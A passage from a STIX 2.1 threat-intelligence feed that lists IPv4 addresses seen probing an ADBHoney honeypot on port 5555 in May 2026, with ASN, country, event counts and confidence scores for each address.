          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 15,
          "first_seen": "2026-05-28T08:52:02.000Z",
          "last_seen": "2026-05-28T09:18:25.599Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-28T10:07:38.000Z | last_seen=2026-05-28T10:17:53.893Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--aa7a4fc5-cc6e-47dd-ba54-ee874fbf9558",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '54.176.89.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T11:00:02.000Z",
      "valid_until": "2026-06-29T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-28T10:07:38.000Z",
          "last_seen": "2026-05-28T10:17:53.893Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-28T10:07:36.000Z | last_seen=2026-05-28T10:08:37.503Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--6b9c5618-78bc-42ae-b2c5-b256ebf788bb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.175.212.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T11:00:02.000Z",
      "valid_until": "2026-06-29T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-28T10:07:36.000Z",
          "last_seen": "2026-05-28T10:08:37.503Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T14:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=36 | first_seen=2026-05-28T13:55:19.000Z | last_seen=2026-05-29T20:55:12.324Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--8ae63b8c-4e29-4e34-a7ad-227cb5c4195f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T14:00:03.000Z",
      "valid_until": "2026-06-29T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 36,
          "first_seen": "2026-05-28T13:55:19.000Z",
          "last_seen": "2026-05-29T20:55:12.324Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-17T00:15:48.000Z | last_seen=2026-05-28T14:46:59.066Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--dfeec42f-0f2a-44ec-9d86-fc4331e14666",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '221.233.24.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T15:00:02.000Z",
      "valid_until": "2026-06-29T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-17T00:15:48.000Z",
          "last_seen": "2026-05-28T14:46:59.066Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-28T14:36:34.000Z | last_seen=2026-05-28T14:37:37.754Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--1425d6d8-fd61-4b5d-8ea7-69eb03df349c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T15:00:02.000Z",
      "valid_until": "2026-06-29T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-28T14:36:34.000Z",
          "last_seen": "2026-05-28T14:37:37.754Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-28T16:28:49.000Z | last_seen=2026-05-28T16:29:59.127Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--8c2fa4b6-480a-4d3b-8c3a-1f0b6f8bc541",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '174.138.39.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T17:00:02.000Z",
      "valid_until": "2026-06-29T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-28T16:28:49.000Z",
          "last_seen": "2026-05-28T16:29:59.127Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=BR; asn=267155; asn_org=VOE INTERNET; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-28T16:38:45.000Z | last_seen=2026-05-28T16:39:53.381Z | ports=5555 | cc=BR | asn=267155 | org=VOE INTERNET",
      "id": "indicator--488fd3b2-174c-49f7-a8af-cf5d938432d4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.229.147.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T17:00:02.000Z",
      "valid_until": "2026-06-29T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-28T16:38:45.000Z",
          "last_seen": "2026-05-28T16:39:53.381Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BR"
          ],
          "asn": [
            "267155"
          ],
          "org": [
            "VOE INTERNET"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T18:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-28T17:12:54.000Z | last_seen=2026-05-28T17:23:11.115Z | ports=5555 | cc=US | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--db505149-d32c-4b46-b61e-d8df239c7b6d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T18:00:03.000Z",
      "valid_until": "2026-06-29T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-28T17:12:54.000Z",
          "last_seen": "2026-05-28T17:23:11.115Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T18:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=213412; asn_org=ONYPHE SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-28T17:12:54.000Z | last_seen=2026-05-28T17:23:04.180Z | ports=5555 | cc=US | asn=213412 | org=ONYPHE SAS",
      "id": "indicator--14003785-b7a8-4c8a-9070-37982284a188",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T18:00:03.000Z",
      "valid_until": "2026-06-29T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-28T17:12:54.000Z",
          "last_seen": "2026-05-28T17:23:04.180Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "213412"
          ],
          "org": [
            "ONYPHE SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T20:00:52.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-28T19:51:39.000Z | last_seen=2026-05-28T19:52:50.984Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--f329ad28-4ac6-4e42-8b63-22e493ec8f67",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.93.249.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T20:00:52.000Z",
      "valid_until": "2026-06-29T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-28T19:51:39.000Z",
          "last_seen": "2026-05-28T19:52:50.984Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T20:00:52.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-28T19:57:55.000Z | last_seen=2026-05-28T20:08:41.534Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--63972fa7-16a3-4445-b256-23e4d709d766",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '188.166.110.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T20:00:52.000Z",
      "valid_until": "2026-06-29T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-28T19:57:55.000Z",
          "last_seen": "2026-05-28T20:08:41.534Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T23:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-28T22:40:00.000Z | last_seen=2026-05-28T22:41:19.376Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--8b397e9f-aba2-4724-b04c-53e4806012ca",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T23:00:02.000Z",
      "valid_until": "2026-06-29T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-28T22:40:00.000Z",
          "last_seen": "2026-05-28T22:41:19.376Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-29T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=18 | first_seen=2026-05-29T01:08:15.000Z | last_seen=2026-05-29T01:19:34.243Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--a2bc7ae8-724b-468b-9002-cc556caba0b6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.133.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T02:00:02.000Z",
      "valid_until": "2026-06-30T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 18,
          "first_seen": "2026-05-29T01:08:15.000Z",
          "last_seen": "2026-05-29T01:19:34.243Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-29T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=22 | first_seen=2026-05-29T02:58:13.000Z | last_seen=2026-05-29T03:09:48.876Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--a3d2dbea-1bd5-406e-82d9-389f816659d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T03:00:03.000Z",
      "valid_until": "2026-06-30T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 22,
          "first_seen": "2026-05-29T02:58:13.000Z",
          "last_seen": "2026-05-29T03:09:48.876Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-29T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-29T03:40:48.000Z | last_seen=2026-05-29T03:41:56.803Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--b4a05d0b-813b-4960-8e75-b41687de2405",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '137.184.205.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T04:00:03.000Z",
      "valid_until": "2026-06-30T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-29T03:40:48.000Z",
          "last_seen": "2026-05-29T03:41:56.803Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-29T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=RO; asn=215929; asn_org=Data Campus Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-29T08:12:32.000Z | last_seen=2026-05-29T08:13:34.134Z | ports=5555 | cc=RO | asn=215929 | org=Data Campus Limited",
      "id": "indicator--689cab0c-1d2a-4411-81d3-b8c46b91eac4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.13.212.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T09:00:03.000Z",
      "valid_until": "2026-06-30T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-29T08:12:32.000Z",
          "last_seen": "2026-05-29T08:13:34.134Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "215929"
          ],
          "org": [
            "Data Campus Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-29T11:00:03.000Z",
